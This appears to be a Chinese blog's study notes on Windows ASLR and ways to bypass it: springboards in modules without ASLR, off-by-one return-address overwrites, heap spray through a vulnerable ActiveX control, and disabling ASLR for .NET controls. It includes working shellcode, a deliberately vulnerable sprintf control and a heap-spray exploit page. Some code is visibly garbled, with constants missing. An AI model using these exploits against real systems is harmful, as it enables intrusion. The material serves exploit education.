ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化、堆栈随机化、PEB 与 TEB 随机化。ASLR 的实现也需要程序和操作系统的双重支持,但程序的支持不是必须的。

ASLR 在 XP 时代已经提出来了,但 XP 上的 ASLR 功能有限,只是对 PEB 和 TEB 进行简单的随机化处理。直到 Windows Vista 出现之后 ASLR 才真正发挥作用。

支持 ASLR 的程序会在 PE 头中设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。VS 2005 SP1 开始加入了 /dynamicbase 链接选项来支持 ASLR(Project - project Properties - Configuration Properties - Linker - Advanced - Randomized Base Address)。

映像随机化

对程序映像的虚拟地址进行随机处理,这个地址是在系统启动时确定的,重启后会变化。映像随机化可以通过注册表来设置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages
DWORD: Disabled
DWORD: - Force Enabled
DWORD: other Normal

映像随机化使得通过的跳板指令无效。但映像随机化只对加载基址的前两个字节做了随机处理,各模块入口点的低位 2 字节不变。

堆栈随机化

堆栈随机化中,其基址是在每次加载程序时确定的。

jmp esp 和 heap spray 的运用使得堆栈随机化对溢出利用的影响有限。

PEB、TEB 随机化

XP SP2 中引入 PEB、TEB 的随机化,在此之前固定基址: PEB:0x7FFDF000,TEB:0x7FFDE000,获取当前 PEB 和 TEB 的参考代码如下:

 #include "stdafx.h"

 int _tmain(int argc, _TCHAR* argv[])
{
unsigned int teb;
unsigned int peb;
__asm{
mov eax,FS:[0x18]
mov teb,eax
mov eax,dword ptr[eax+0x30]
mov peb,eax
}
printf("peb: %#x\nteb: %#x\n",peb,teb);
getchar();
return ;
}

PEB 和 TEB 随机化效果不是很好,而且溢出利用时还有其它方法获得这两个值。

利用未启用 ASLR 的模块做跳板

ASLR 是安全机制,但不是行业标准,不支持 ASLR 的程序很多。不支持 ASLR 意味着加载基址固定,如果当前进程中有这个一个模块,就可以用它做跳板。

Adobe 在 Flash 10 以后的版本才全面支持 Windows 的安全特性,在那之前一直是个危险的切入点。

书中有一个在 Vista(with flash player 9.0.262)下通过 IE 7.0(with Flash9k.ocx)绕过 ALSR 的例子:Flash9k.ocx 中没有 jmp esp 跳板,而上下文中指向栈中的只有 esp、edx、esi,能用的只有 jmp esi 了。但此时 esi 指向栈顶,栈顶的 jmp esi 跳板地址会被译成指令执行。而例子中合适的 jmp esi 指令的地址译为指令后,将会对 eax 指向的位置进行读操作,所以要先调整 eax。而调整 eax 用的跳板面临同样的问题:指令地址等效的代码不能影响 shellcode 的执行。

Off-by-One 技术攻击 ASLR

ASLR 对映像随机化时,只对加载基址的高位 2 字节做了地址随机化,因此可以利用 memcpy()、strcpy() 等进行 Off-by-One 攻击:只要寻找当前模块的踏板,并将跳板低 2 位地址覆盖到返回地址中,就可以溢出成功。

下面的例子演示了这个思路(之前的 shellcode 在 win7 上使用不了,其 LoadLibraryA() 函数出错,具体原因还没调。这里借用了 SkyLined 的弹出 calc.exe 的 shellcode,所有 32/64 bit Windows 版本通用,能够恢复栈帧,赞一个)。

 // aslr_offbyone.cpp : Defines the entry point for the console application.
// env:
// * Win 7
// * VS2008 : GS off / Optimization off / DEP off #include "stdafx.h" char shellcode[]=
"\x50\x54\x58\x66\x83\xE4\xF0\x50\x31\xC0\x40\x92\x74\x4F\x60\x4A"
"\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76"
"\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F"
"\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42"
"\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01"
"\xFE\x03\x3C\xAE\xFF\xD7\x58\x58\x61\x5C\x92\x58\xC3\x50\x51\x53"
"\x56\x57\x55\xB2\x60\x68\x63\x61\x6C\x63\x54\x59\x48\x29\xD4\x65"
"\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30"
"\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48"
"\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C"
"\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34"
"\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x68\x5D\x5F\x5E\x5B\x59"
"\x5A\x5C\x58\xC3" // 196 bytes of calc.exe shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x10" // 0x****1038 point to call eax in main()
; char * test()
{
char buf[];
memcpy(buf,shellcode,++);
return buf;
} int _tmain(int argc, _TCHAR* argv[])
{
test();
_asm call eax // eax contains buf[] returns from test
return ;
}

Heap Spray 攻击 ASLR

Heap Spray 是为了应对堆空间的随机化而产生的技术,ASLR 本质也是随机化处理,Heap Spray 也能应对 ASLR 保护。

Heap Spray 是攻击浏览器的技术,实验前先生成含有漏洞的浏览器 ocx 控件:MFC ActiveX Control 控件函数代码如下。

 // CvulCtrl message handlers
// env:
// * windows xp sp3
// * visual studio 2008 mfc activex control
// optimization off, GS off
// use mfc in static library, use unicode charset
// build: release
//
void CvulCtrl::test(LPCTSTR str)
{
//AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: Add your dispatch handler code here
printf("bookmark\n");
__asm{
push eax;
mov eax,0x20141104
pop eax
}
char dest[];
sprintf(dest, "%s", str);
}

上述代码的第 14~19 行是调试 OllyDbg 时帮助定位的。第 11 行如果不注释的话,生成的控件在第 21 行执行完后会进行某种验证(SXS:%s called with invalid cookie type 0x........),会导致溢出实验失败。

溢出的 PoC 页面如下(Windows XP sp3 (/NOEXECUTE=OptIn) with IE7):

 <html>
<body>
<object classid="clsid:DB30502B-1297-470B-A487-5D2D23967AA3" id="test"></object>
<script>
var shellcode="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91";
shellcode+="\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332";
shellcode+="\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C";
shellcode+="\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505";
shellcode+="\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B";
shellcode+="\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06";
shellcode+="\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C";
shellcode+="\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD";
shellcode+="\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33";
shellcode+="\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050";
shellcode+="\uFF53\uFC57\uFF53\uF857"; //168b msgbox shellcode var nops=unescape("%u9090%u9090");
while(nops.length<0x100000/2)
nops+=nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode; var memory=new Array();
for(var i=0;i<200;i++)
memory[i]+=nops; var s="\u9090";
while(s.length<54)
s+="\u9090";
s+="\u0c0c\u0c0c"; // exploit return address
//confirm("ready to exploit ..."); // debug
test.test(s);
</script>
</body>
</html>

这个实验中,vul.ocx 的 uuid 填错,折腾了很久才发现。js 中的代码写错,也折腾很久才改好。如果对 js 熟悉点,不至于耽误这么多时间调试……*_*

Hit:

* 调试时可以借助 ocx 中的标记,只要搜索 mov eax,0x20141104 或者 pop eax (用 Ctrl+B 搜)

* 在 Memory 视图中能对内存段设断点(F2),网上还有人提供了一些其它方法,如设置条件断点:点击这里

  * 书中有个利用 java applet(jdk<1.5, -target 1.1)进行 Heap Spray 来绕过 ALSR 的例子

为 .NET 控件禁用 ASLR

Alexander Sotirov 在 2008 年的 BlackHat 上披露了 PE 文件是否启用 ASLR 的校验过程:

 if ( !(pBinaryInfo->pHeaderInfo->usDllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE) &&
!(pBinaryInfo->pHeaderInfo->bFlags & PINFO_IL_ONLY_IMAGE) &&
!(_MnMoveImages == -) )
{
_MiNoRelocate++;
return ;
}

可见只要满足以下任意条件该 PE 文件启用 ASLR

 PE 头中含有 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识
IL-ONLY 文件,对 .NET 进行了特殊照顾
_MnMoveImages 值为 -,强制 ASLR

所以,不管是否设置了 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,含有 IL-ONLY 标识的 .NET 程序/控件都会启用 ASLR。系统验证 .NET 文件是不是 IL-ONLY 的流程如下:

 if ( ( (pCORHeader->MajorRuntimeVersion>) || (pCORHeader->MajorRuntimeVersion== && pCORHeader->MinorRuntimeVersion>=) ) &&
(pCONHeader->Flags & COMIMAGE_FLAGS_ILONLY) )
{
pImageControlArea->pBinaryInfo->pHeaderInfo->bFlags |= PINFO_IL_ONLY_IMAGE;
......
}

系统检查一个 .NET 文件是否具有 COMIMAGE_FLAGS_ILONLY 标识前会对该文件的运行时版本进行判断,如果版本号低于 2.5,该文件就不会被认定为 IL-ONLY。

可以用 CFF Explorer 来修改 .NET 文件/控件的 PE 头,去掉 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识,然后将运行版本号改为小于 2.5 就可以。配合之前 DEP 的例子,可以用这样的 .NET 控件绕过 DEP 和 ASLR!

OD: ASLR的更多相关文章

  1. gdb windbg and od use

    gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...

  2. 从零开始的程序逆向之路基础篇 第二章——用OllyDbg(OD)分析一个简单的软件

    作者:Crazyman_Army 原文来自:https://bbs.ichunqiu.com/thread-43469-1-1.html 0x00知识回顾 (由于笔者省事,没开XP虚拟机,而且没关闭A ...

  3. 小技巧——病毒分析中关闭ASLR

    原文来自:https://bbs.ichunqiu.com/thread-41359-1-1.html 病毒分析中关闭ASLR 分析病毒的时候,尽可能用自己比较熟悉的平台,这样可以大大地节省时间,像我 ...

  4. ASLR/DEP绕过技术概览

    在经典的栈溢出模型中,通过覆盖函数的返回地址来达到控制程序执行流程(EIP寄存器),通常将返回地址覆盖为0x7FFA4512,这个地址是一条JMP ESP指令,在函数返回时就会跳转到这个地址去执行,也 ...

  5. 针对缓冲区保护技术(ASLR)的一次初探

    0x01 前言 ASLR 是一种针对缓冲区溢出的安全保护技术,通过对堆.栈.共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一 ...

  6. Linux之od命令详解

    功能说明:输出文件内容.语 法:od [-abcdfhilovx][-A <字码基数>][-j <字符数目>][-N <字符数目>][-s <字符串字符数&g ...

  7. 基本shell编程【3】- 常用的工具awk\sed\sort\uniq\od

    awk awk是个很好用的东西,大量使用在linux系统分析的结果展示处理上.并且可以使用管道, input | awk ''  | output 1.首先要知道形式 awk 'command' fi ...

  8. od 查看特殊格式的文件内容

    用户通常使用od命令查看特殊格式的文件内容.通过指定该命令的不同选项可以以十进制.八进制.十六进制和ASCII码来显示文件. 语法: od [选项] 文件- 命令中各选项的含义: - A 指定地址基数 ...

  9. 游戏外挂四之利用CE和OD查找被选中怪物和怪物列表

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入)Q  Q:408365330     E-Mail:egojit@qq.com 这一节我们利 ...

随机推荐

  1. YesFInder - Web File Manager 网页文件管理系统

    开发原由: 原来想找一下实现可视化图片上传程序,先找了ckfinder,发现居然是收费的,而且用起来也不顺手,于是想能不能自己写一个.想到这就立即动手,花2天时间完成初步功能,然后再花了3天完善.目前 ...

  2. (转)[jQuery]使用jQuery.Validate进行客户端验证(初级篇)——不使用微软验证控件的理由

    以前在做项目的时候就有个很大心病,就是微软的验证控件,虽然微软的验证控件可以帮我们完成大部分的验证,验证也很可靠上手也很容易,但是我就是觉得不爽,主要理由有以下几点: 1.拖控件太麻烦,这个是微软控件 ...

  3. 【jquery学习笔记】关于$(window),$("html,body").scroll()的在不同浏览器的不同反应

    已经很几次碰到了这种问题, 例子: $(window).scroll(function(){ var num=$(window).scrollTop();              //之前的写法是$ ...

  4. 随机数(random)

    在测试你的程序是否超时时,可以随机生成一组大数据,进行一下测试. 当然如果你考场上一道题直接读不懂不会做的时候,可以random一下,拼一下RP嘛.2333. #include<cstdio&g ...

  5. Shortest Prefixes

    poj2001:http://poj.org/problem?id=2001 题意:给你一些单词,然后让你寻找每个单词的一个前缀,这个前缀能够唯一表示这个单词,并且是最短的. 题解:直接用trie树来 ...

  6. Hash查找法在Keil C51中的实现

    摘要:散列(hash)是一种重要的存储方法,也是一种常见的查找方法.它是指在记录的存储位置和它的关键字之间建立一个确定的对应关系.本文以射频卡门禁控制器为例,说明用射频卡卡号作为关键字,用Hash查找 ...

  7. Bellman_ford最短路

    #include <cstdio> #include <iostream> #include <algorithm> #include <cstring> ...

  8. 第一个Windows程序

    今天,我们的任务就是和大家一起开发第一个Windows程序,这个程序的功能非常简单,就是弹出一个对话框,但是简单的程序可以帮助大家建立信心. 例1 第一个Windows程序 /* ********** ...

  9. NET设计模式(2):单件模式(Singleton Pattern)[转载]

    单件模式(Singleton Pattern) ——.NET设计模式系列之二 Terrylee,2005年12月07日 概述 Singleton模式要求一个类有且仅有一个实例,并且提供了一个全局的访问 ...

  10. Thrift初探:简单实现C#通讯服务程序

    Thrift是一种可伸缩的跨语言服务框架,它结合了功能强大的软件堆栈的代码生成引擎,以建设服务,工作效率和无缝地与C++,C#,Java,Python和PHP和Ruby结合.thrift允许你定义一个 ...